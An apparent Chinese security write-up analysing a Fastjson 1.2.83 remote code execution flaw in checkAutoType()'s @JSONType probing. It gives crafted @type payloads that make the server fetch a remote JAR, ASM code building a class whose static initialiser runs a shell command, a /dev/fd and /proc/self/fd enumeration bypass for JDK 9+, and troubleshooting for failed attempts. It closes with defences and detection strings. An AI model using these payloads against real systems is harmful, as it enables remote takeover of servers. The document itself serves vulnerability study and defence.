Fastjson 1.2.83 @JSONType 探测路径 RCE 深度分析
Fastjson 的历史漏洞大多围绕 AutoType 和 gadget 展开:攻击者控制 @type,Fastjson 加载目标类,再借助 JDK 或第三方库里的危险行为完成利用。
Fastjson 1.2.83 这一类问题更值得单独拿出来分析。它并不依赖传统 gadget,也不要求业务 classpath 上提前存在可利用类。漏洞核心是 checkAutoType() 中一段 @JSONType 注解探测逻辑:Fastjson 把用户可控的 @type 先转换成资源路径,再交给 ClassLoader 读取。
这个边界一旦被打穿,@type 就不再只是 Java 类名,而可以变成 jar:http://...、jar:file:/... 这样的资源 URL。
1. 漏洞入口:不可信 JSON 进入 JSON.parse
典型危险入口非常朴素:
@PostMapping("/api/data")
public Map<String, Object> handle(@RequestBody String body) {
Object obj = JSON.parse(body);
return Map.of("data", String.valueOf(obj));
}
只要外部用户能控制 body,就能控制 JSON 中的 @type。在 Fastjson 1.x 里,@type 会进入 ParserConfig#checkAutoType()。
如果应用没有开启 SafeMode,Fastjson 会继续执行 AutoType 相关检查。注意,这里的“AutoType 相关检查”不等于 autoTypeSupport=true。即使 AutoType 默认关闭,某些探测分支仍然会执行。
2. 根因:@type 被当作资源路径
问题出在 checkAutoType() 中的 @JSONType 探测。简化后的逻辑大致如下:
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader reader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
reader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} finally {
IOUtils.close(is);
}
这段代码原本要解决的是一个正常需求:
com.example.User -> com/example/User.class
Fastjson 读取 class 字节码,检查类上是否存在 @JSONType 注解。
危险点在于:typeName 来自用户控制的 @type,但进入 replace('.', '/') 前没有被严格限制为合法 Java 类名。
于是攻击者可以让 typeName 看起来像类名,转换后却变成 URL:
原始 @type:
jar:http:..2130706433:19090.probe!.foo.Exception
replace 后:
jar:http://2130706433:19090/probe!/foo/Exception.class
2130706433 是 127.0.0.1 的整数形式。这里不用点分 IP,是因为 . 会被替换成 /。
3. 为什么 @JSONType 能绕过默认关闭的 AutoType
继续看 checkAutoType() 后续逻辑,核心判断可以抽象为:
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
Class<?> clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
// 后续还有 expectClass、黑名单等检查
}
}
autoTypeSupport 默认是 false,但 jsonType 是通过前面的 ASM 字节码扫描得到的。
只要远程 class 文件里有:
@JSONType
public class Exception {
}
visitor.hasJsonType() 就可能返回 true,进而进入 TypeUtils.loadClass()。这就是“无需开启 AutoType”的关键。
实际 PoC 通常不用 Java 源码直接编译,因为普通 Java 源码无法声明这种特殊 internal name。它会用 ASM 生成字节码:
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
String internalName = "jar:http://2130706433:19090/probe!/foo/Exception";
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();
然后把生成的 class 放进 JAR:
try (JarOutputStream jos = new JarOutputStream(new FileOutputStream("probe.jar"))) {
jos.putNextEntry(new JarEntry("foo/Exception.class"));
jos.write(cw.toByteArray());
jos.closeEntry();
}
注意:JAR entry 是正常路径 foo/Exception.class,但 class 文件内部的 this_class 是特殊名字 jar:http://.../foo/Exception。
4. 从资源读取到类加载
Fastjson 先用 getResourceAsStream() 读取字节码,再用 TypeUtils.loadClass() 加载类型。
TypeUtils.loadClass() 的核心路径大致是:
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
try {
if (classLoader != null) {
Class<?> clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable ignored) {
}
try {
ClassLoader contextLoader = Thread.currentThread().getContextClassLoader();
if (contextLoader != null && contextLoader != classLoader) {
Class<?> clazz = contextLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable ignored) {
}
try {
return Class.forName(className);
} catch (Throwable ignored) {
return null;
}
}
在 Spring Boot fat jar 场景下,应用通常由 Boot Loader 启动。Manifest 里常见入口是:
Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.example.Application
这意味着真正负责加载应用类和依赖的不是普通 classpath,而是 Spring Boot 的 loader 体系。这个 ClassLoader 对 jar: URL 资源的处理,是整条利用链成立的重要条件。
5. JDK 8:为什么可以直接 RCE
JDK 8 上,直接使用 jar:http://... 的链路往往可以走到 defineClass()。
调用链可抽象为:
JSON.parse(body)
-> checkAutoType(typeName)
-> getResourceAsStream("jar:http://.../probe!/foo/Exception.class")
-> 远程 JAR 下载
-> ASM 扫描 @JSONType
-> TypeUtils.loadClass(typeName)
-> ClassLoader.loadClass(typeName)
-> defineClass(typeName, bytes)
-> <clinit>
如果恶意 class 带静态初始化块:
static {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "touch /tmp/fastjson_rce"});
}
类初始化时就会执行。
JDK 8 的关键特征是:类名合法性校验没有高版本那么严格,jar:http://... 这种带 URL 痕迹的名字更容易通过。
6. JDK 9+:直接 jar:http 为什么失败
JDK 9 以后,类名校验更严格。
直接定义下面这样的类名:
jar:http://127.0.0.1:19090/probe!/foo/Exception
容易因为 // 形成空路径段而失败。常见现象是:
java.lang.NoClassDefFoundError
java.lang.ClassFormatError: Illegal class name
这说明远程 JAR 可能已经被读取,但类定义被 JVM 拒绝了。
到这里为止,很多人会误判为“高版本 JDK 不可利用”。但实际上,第一次 jar:http 读取已经留下了一个可继续利用的副作用。
7. 高版本绕过:从远程 URL 切到本地 fd
JVM 处理 JarURLConnection 时,可能把远程 JAR 缓存到本地临时文件,并保持文件描述符打开。
在 Linux 和 macOS 上,进程打开的 fd 可以通过文件系统路径访问:
Linux: /proc/self/fd/N
macOS: /dev/fd/N
所以高版本 JDK 的思路变成两段:
Step 1: jar:http://.../probe
触发远程 JAR 下载,让 JVM 缓存并保持 fd 打开
Step 2: jar:file:/dev/fd/N!/fdN/Exception.class
或 jar:file:/proc/self/fd/N!/fdN/Exception.class
从本地 fd 重新打开同一个 JAR
为什么必须是 file:/dev/fd/N,而不是 file:///dev/fd/N?
因为 file:/// 最终会把连续斜杠带进类名:
jar:file:///dev/fd/17!/fd17/Exception
高版本 JDK 会拒绝这种名字。
而单斜杠形式:
jar:file:/dev/fd/17!/fd17/Exception
在 Java URL 语义上仍然能表示本地文件,但类名里不会出现连续 //,更容易通过 JDK 9+ 的类名校验。
8. 一个通用化实现大概长什么样
高版本适配的关键是生成多个 fd 对应的 class。每个 class 的 internal name 必须和 payload 完全匹配。
8.1 生成 seed class
seed class 只负责触发远程下载,不需要 @JSONType,也不需要静态块:
byte[] seedClass() {
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "foo/Exception", null, "java/lang/Object", null);
// no @JSONType, no <clinit>
cw.visitEnd();
return cw.toByteArray();
}
对应 payload:
{"@type":"jar:http:..2130706433:19090.probe!.foo.Exception"}
8.2 为每个 fd 生成 RCE class
macOS:
String internalName = "jar:file:/dev/fd/" + fd + "!/fd" + fd + "/Exception";
Linux:
String internalName = "jar:file:/proc/self/fd/" + fd + "!/fd" + fd + "/Exception";
字节码里加入 @JSONType 和静态块:
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();
MethodVisitor clinit = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
clinit.visitCode();
// Runtime.getRuntime().exec(...)
clinit.visitInsn(Opcodes.RETURN);
clinit.visitEnd();
JAR 里的 entry 则是正常路径:
jos.putNextEntry(new JarEntry("fd" + fd + "/Exception.class"));
jos.write(bytes);
jos.closeEntry();
8.3 JSON 数组一次完成缓存和枚举
Fastjson 会按顺序解析数组元素,因此可以把 seed 和 fd 枚举放在一个请求中:
[
{"@type":"jar:http:..2130706433:19090.probe!.foo.Exception"},
{"@type":"jar:file:.dev.fd.10!.fd10.Exception"},
{"@type":"jar:file:.dev.fd.11!.fd11.Exception"},
{"@type":"jar:file:.dev.fd.12!.fd12.Exception"}
]
第一个元素触发下载缓存,后面的元素尝试打开不同 fd。命中 fd 时,getResourceAsStream() 能读到对应 class,@JSONType 探测通过,loadClass() 定义类,最终触发 <clinit>。
9. .Exception 后缀为什么重要
checkAutoType() 后半段有一个容易被忽略的容错分支:
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
这意味着候选 fd 没命中时,Fastjson 不一定会立刻抛异常中断整个数组解析。
这对 fd 枚举非常重要:
fd10 miss -> 返回 null,继续
fd11 miss -> 返回 null,继续
fd12 hit -> 类加载成功
如果没有 .Exception / .Error 后缀,前面的 miss 很可能直接中断解析,后面的 fd 根本没有机会被尝试。
10. JDK 与操作系统差异
可以把不同环境下的行为概括成这张表:
| 环境 | 直接 jar:http |
fd 重绑定 | 最终效果 |
|---|---|---|---|
| JDK 8 + Linux | 可行 | 不需要 | RCE |
| JDK 8 + macOS | 可行 | 不需要 | RCE |
| JDK 8 + Windows | 可行 | 不需要 | RCE |
| JDK 9+ + Linux | 类定义常失败 | /proc/self/fd/N |
RCE |
| JDK 9+ + macOS | 类定义常失败 | /dev/fd/N |
RCE |
| JDK 9+ + Windows | 类定义常失败 | 缺少等价 fd 路径 | 通常只有 SSRF |
所以“JDK 8 到 JDK 25 都能打”的准确含义是:
- JDK 8:靠宽松类名直接完成
- JDK 9+:靠本地 fd 重绑定绕开类名限制
- Linux/macOS:提供 fd 文件系统入口
- Windows:高版本下通常缺少同等 fd 重绑定条件
11. WAR 包部署时的差异
很多分析会把结论简化成“Spring Boot fat jar 可打,WAR 不可打”。这个说法太粗。
真正要看的是 ClassLoader。
11.1 Spring Boot fat jar
fat jar 通过:
java -jar app.jar
启动时,入口通常是:
Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.example.Application
这种部署下,应用类和依赖位于:
BOOT-INF/classes
BOOT-INF/lib
Spring Boot Loader 会用自己的 ClassLoader 处理嵌套 JAR。本文讨论的 jar:http 资源探测链,最典型就是出现在这种环境里。
11.2 Spring Boot 可执行 WAR
可执行 WAR 虽然后缀是 .war,但仍然可以:
java -jar app.war
这类部署依然会经过 Spring Boot Loader。它和 fat jar 的差异主要在打包布局和 servlet initializer 上,而不是“是否由 Boot Loader 接管”。
所以,可执行 WAR 不能简单认为安全。只要 ClassLoader 行为接近 fat jar,链路就仍然需要验证。
11.3 传统 WAR
传统 WAR 是把应用丢到外部 Tomcat、Jetty、WebLogic 等容器中。
这时应用类和依赖通常来自:
WEB-INF/classes
WEB-INF/lib/*.jar
ClassLoader 变成容器的 WebApp ClassLoader,例如 Tomcat 的 WebappClassLoader 体系。
差异点有三个:
-
资源查找实现不同
传统容器更偏向从 Web 应用资源根、WEB-INF/classes、WEB-INF/lib中找资源,不一定会像 Boot Loader 那样处理嵌套 JAR 和特殊jar:URL。 -
ParserConfig.class.getClassLoader()不同
fat jar 中通常是 Boot Loader;传统 WAR 中通常是 WebApp ClassLoader。 -
fd 缓存副作用不一定出现
如果第一步jar:http资源读取没有走到JarURLConnection下载缓存,后续/dev/fd或/proc/self/fd就没有基础。
因此,传统 WAR 下漏洞根因仍然存在,但不能直接套用 fat jar payload。需要针对具体容器验证:
ClassLoader cl = ParserConfig.class.getClassLoader();
System.out.println(cl);
InputStream is = cl.getResourceAsStream("jar:http://host/probe!/foo/Exception.class");
System.out.println(is);
如果这里压根拿不到远程资源,后面的 RCE 链就不会成立。如果能触发 HTTP 请求,还要继续确认是否产生可复用 fd,以及容器 ClassLoader 是否允许后续类定义。
11.4 WAR 部署结论
| 部署方式 | ClassLoader 特征 | 风险判断 |
|---|---|---|
| Spring Boot fat jar | Boot Loader / 嵌套 JAR | 高风险,典型利用场景 |
| Spring Boot executable war | 仍由 Boot Loader 启动 | 需按 fat jar 视角验证 |
| 传统 WAR + 外部容器 | 容器 WebApp ClassLoader | 根因存在,但 PoC 需适配 |
12. 利用条件总结
完整 RCE 通常需要同时满足:
- Fastjson 版本位于受影响范围,例如 1.2.68 到 1.2.83
- 服务端解析不可信 JSON,且调用
JSON.parse()/parseObject()等入口 - 用户可控
@type - SafeMode 未开启
- 目标 JVM 能访问攻击者控制的 HTTP 服务
- ClassLoader 会把构造后的
jar:http资源名当作可读取资源 - 高版本 JDK 场景下,Linux/macOS 可通过 fd 文件系统重新打开缓存 JAR
其中第 6 点最容易被忽略。它解释了为什么 IDEA 普通启动、fat jar 启动、传统 WAR 部署会出现完全不同的现象。
13. 现象排查
13.1 autoType is not support
常见原因:
- 远程 JAR 没有被读取
- payload 里的端口和 HTTP 托管端口不一致
- class entry 路径不匹配
- class 内部名和
@type不匹配 - 远程 class 没有
@JSONType
13.2 出现 GET /probe,但没有 RCE
说明远程资源读取成功,但类定义或初始化失败。
JDK 9+ 下最常见原因是直接 jar:http:// 类名无法通过 defineClass() 校验,需要转 fd 重绑定。
13.3 NoClassDefFoundError / ClassFormatError
说明已经到了类加载或类定义阶段。重点看:
- internal name 是否和
@type完全一致 - 是否存在连续
// - JAR entry 是否匹配
- 使用的是
file:/dev/fd/N还是file:///dev/fd/N
14. 防护建议
14.1 开启 SafeMode
-Dfastjson.parser.safeMode=true
SafeMode 会直接阻断 AutoType 相关路径,是 Fastjson 1.x 中最直接的缓解措施。
14.2 升级 fastjson2
长期建议迁移到 fastjson2,并重新审计 JSON 解析入口。
14.3 限制服务端出网
这条链第一步依赖目标访问外部 HTTP 服务。出网控制可以显著降低风险。
14.4 审计危险入口
重点搜索:
rg "JSON\\.parse|parseObject|parseArray|Feature.SupportAutoType|ParserConfig"
对所有解析外部输入的位置确认:
- 是否允许
@type - 是否开启 SafeMode
- 是否把异常详情直接返回给前端
- 是否存在公网可达接口
14.5 检测可疑请求
建议记录和告警这些特征:
"@type"
"jar:http"
"jar:file"
".dev.fd."
".proc.self.fd."
"Exception"
"Error"
不要只在 WAF 里按明文拦截,因为 @type 和 URL 片段都可能经过编码、转义或分块传输。
15. 总结
这个漏洞的危险性来自三层机制叠加:
- Fastjson 在
checkAutoType()中把用户可控@type转成资源路径 - ClassLoader / URL 处理把特殊资源名解释成远程 JAR
- JDK 9+ 虽然收紧类名校验,但 Linux/macOS 的 fd 文件系统又提供了本地重绑定路径
JDK 8 的链路是直的:
jar:http -> getResourceAsStream -> loadClass -> defineClass -> <clinit>
JDK 9+ 的链路是绕的:
jar:http -> 缓存 JAR 到 fd -> jar:file:/dev/fd/N -> defineClass -> <clinit>
所以它不是传统 gadget 型 Fastjson 漏洞,而是 Fastjson 类型探测、JVM URLClassLoader 行为和操作系统 fd 机制共同造成的一条跨层利用链。